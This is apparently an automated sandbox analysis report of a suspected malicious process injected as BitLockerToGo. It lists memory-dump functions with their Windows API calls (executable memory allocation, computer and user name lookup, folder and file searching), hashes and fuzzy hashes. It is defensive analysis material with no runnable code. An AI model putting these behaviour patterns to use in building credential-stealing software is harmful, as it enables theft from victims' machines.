Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 7e852461351954664f9cbc8d41ee0c64f31ea5982f2a673878d18a2f7f069ee6
Instruction ID: e32b42e5102985ffbdf6a9527689d5a33e97849fe329f15a92462801a2dc8b32
Opcode Fuzzy Hash: 7e852461351954664f9cbc8d41ee0c64f31ea5982f2a673878d18a2f7f069ee6
Instruction Fuzzy Hash: 9741C5BFA01304ABD754FBA0FC45EEE373DA784700F00C508B94A5A189FE715B988B91

Function 03006660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(03006DBE,03006DBE,00003000,00000040), ref: 03006706
VirtualAlloc.KERNEL32(00000000,03006DBE,00003000,00000040), ref: 03006753

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: af76547fbef54db95eb77f0e9735f7ce42bf82012aeba68bf17c9440653ca1d1
Instruction ID: 3d9de8a7a22aec5571e15d10a7d56402b80e161fc467c36ddb4a53b2a4c45518
Opcode Fuzzy Hash: af76547fbef54db95eb77f0e9735f7ce42bf82012aeba68bf17c9440653ca1d1
Instruction Fuzzy Hash: 5141C974A01209EFDB44CF58C494BADBBB2FF44314F148699E9599B385C732AA91CF84

Function 03015050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 03018DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 03018E0B

lstrcat.KERNEL32(?,00000000), ref: 0301508A
lstrcat.KERNEL32(?,035562B8), ref: 030150A8

Part of subcall function 03014910: wsprintfA.USER32 ref: 0301492C
Part of subcall function 03014910: FindFirstFileA.KERNEL32(?,?), ref: 03014943

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 65a6763b1893356844f8e53f8399f15d5be6d6ecec852ca5bdf8c5249f3daa21
Instruction ID: ea40ced690d80287bdb80b84e6e6b47687fb05e0f95fefe8da5f38317330b37a
Opcode Fuzzy Hash: 65a6763b1893356844f8e53f8399f15d5be6d6ecec852ca5bdf8c5249f3daa21
Instruction Fuzzy Hash: A501B97E941308A7DB54FBB0EC45EDE733CAB94700F008548B6495A184EF709BD98BE1

Function 030010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0300114E,?,?,03016A1C), ref: 030010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0300114E,?,?,03016A1C), ref: 030010F7

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: ddea72b1fba015e6116bee463e87dff8438e9dfc578f0fe217d02666f7775e32
Instruction ID: 98e9fb7fba78baa96df9cf5ffcdd829a5adb3f6e956d02cd71c7fbdf7f5c3917
Opcode Fuzzy Hash: ddea72b1fba015e6116bee463e87dff8438e9dfc578f0fe217d02666f7775e32
Instruction Fuzzy Hash: A0F0E275682308BBE714EAA8AD49FAEB7E8E705B15F304448F544E7280D6719F00CAA0

Function 03018D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,03010117,?,00000000,?,00000000,03020DAB,03020DAA), ref: 03018D9F

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d21e27dd734f74a3f59a33c62b96219356324016317a73eae0dbdc7faf7b84bf
Instruction ID: a7cef20c3da73019188dfe40672954bfe3beca20940ff6ee154e6c913550ab46
Opcode Fuzzy Hash: d21e27dd734f74a3f59a33c62b96219356324016317a73eae0dbdc7faf7b84bf
Instruction Fuzzy Hash: C3F01575D02308EBCB00EFA4D5486DCBB74EB01320F008199D8266B280DB756B6ACB80

Function 03018DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 03018E0B

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: e3aaab96e37d99c1d0e327c915c5528e1f9ef7b7b0ba6632c36afd6f15030ea4
Instruction ID: cc881e20b0aa0786bcd11754bb9ed369cbf21428fea09a248166ed5b5987380d
Opcode Fuzzy Hash: e3aaab96e37d99c1d0e327c915c5528e1f9ef7b7b0ba6632c36afd6f15030ea4
Instruction Fuzzy Hash: CCE01A35A4034C6BDB91EB90DC96FEE737CDB44B11F008295BA0C5A1C0DA70AB958B91

Function 03001190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 030178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,03016A2B), ref: 03017910
Part of subcall function 030178E0: RtlAllocateHeap.NTDLL(00000000), ref: 03017917
Part of subcall function 030178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0301792F

Part of subcall function 03017850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,030011B7), ref: 03017880
Part of subcall function 03017850: RtlAllocateHeap.NTDLL(00000000), ref: 03017887
Part of subcall function 03017850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0301789F

ExitProcess.KERNEL32 ref: 030011C6

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: a8ca315cc766c495e2d027be4b7a9038b570ddadd1b9b5895010613bd1bdd132
Instruction ID: 7f5776fb5db11be91e12e2176e9c74905f2c2d05068e7582d9b0e6916af13112
Opcode Fuzzy Hash: a8ca315cc766c495e2d027be4b7a9038b570ddadd1b9b5895010613bd1bdd132
Instruction Fuzzy Hash: 9EE012BDDD130153EA14F3B4BD09BAA329C6B44645F044424E909D6141FB65E52185A5

Function 03018E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 03018E52

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: acb7a8cb397fe5b11bf372aab33ff7fba0f689450f29307b158da982120265aa
Instruction ID: 6513f32c9816bd60c1975c6291abc6f3cd033bd0ac1f6c88b6361f1644cf1f57
Opcode Fuzzy Hash: acb7a8cb397fe5b11bf372aab33ff7fba0f689450f29307b158da982120265aa
Instruction Fuzzy Hash: E9011D34905108EFCB14CF98C5857ACBBF5EF05308F28C488D9056B340C3755B94DB86

Function 03009880 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,03010759,?,?), ref: 03009888

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 79e884d45532b9653f382bd0ba6ec7c52085aab0181c7ed0a4098c8a8ba4bb79
Instruction ID: ea65012d47e6aaa85a0c464f82d708ca1f7a190960e5eab9fdb96626dbeafa1c
Opcode Fuzzy Hash: 79e884d45532b9653f382bd0ba6ec7c52085aab0181c7ed0a4098c8a8ba4bb79
Instruction Fuzzy Hash: 1DF054B5D01208FBDB00EFA4C845B9EB7B4EB04300F108498E90597281E7319B14CB91

Non-executed Functions

Function 6CC85440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CC85492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC854A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC854BE
__Init_thread_footer.LIBCMT ref: 6CC854DB

Part of subcall function 6CCAAB3F: EnterCriticalSection.KERNEL32(6CCFE370,?,?,6CC73527,6CCFF6CC,?,?,?,?,?,?,?,?,6CC73284), ref: 6CCAAB49
Part of subcall function 6CCAAB3F: LeaveCriticalSection.KERNEL32(6CCFE370,?,6CC73527,6CCFF6CC,?,?,?,?,?,?,?,?,6CC73284,?,?,6CC956F6), ref: 6CCAAB7C

Part of subcall function 6CCACBE8: GetCurrentProcess.KERNEL32(?,6CC731A7), ref: 6CCACBF1
Part of subcall function 6CCACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CC731A7), ref: 6CCACBFA

GetCurrentThreadId.KERNEL32 ref: 6CC854F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CC85516
GetCurrentThreadId.KERNEL32 ref: 6CC8556A
AcquireSRWLockExclusive.KERNEL32(6CCFF4B8), ref: 6CC85577
moz_xmalloc.MOZGLUE(00000070), ref: 6CC85585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CC85590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CC855E6
ReleaseSRWLockExclusive.KERNEL32(6CCFF4B8), ref: 6CC85606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC85616

Part of subcall function 6CCAAB89: EnterCriticalSection.KERNEL32(6CCFE370,?,?,?,6CC734DE,6CCFF6CC,?,?,?,?,?,?,?,6CC73284), ref: 6CCAAB94
Part of subcall function 6CCAAB89: LeaveCriticalSection.KERNEL32(6CCFE370,?,6CC734DE,6CCFF6CC,?,?,?,?,?,?,?,6CC73284,?,?,6CC956F6), ref: 6CCAABD1

GetCurrentThreadId.KERNEL32 ref: 6CC8563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC85646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CC8567C
free.MOZGLUE(?), ref: 6CC856AE

Part of subcall function 6CC95E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CC95EDB
Part of subcall function 6CC95E90: memset.VCRUNTIME140(6CCD7765,000000E5,55CCCCCC), ref: 6CC95F27
Part of subcall function 6CC95E90: LeaveCriticalSection.KERNEL32(?), ref: 6CC95FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CC856E8
GetCurrentThreadId.KERNEL32 ref: 6CC85707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CC8570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CC85729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CC8574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CC8576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CC85796
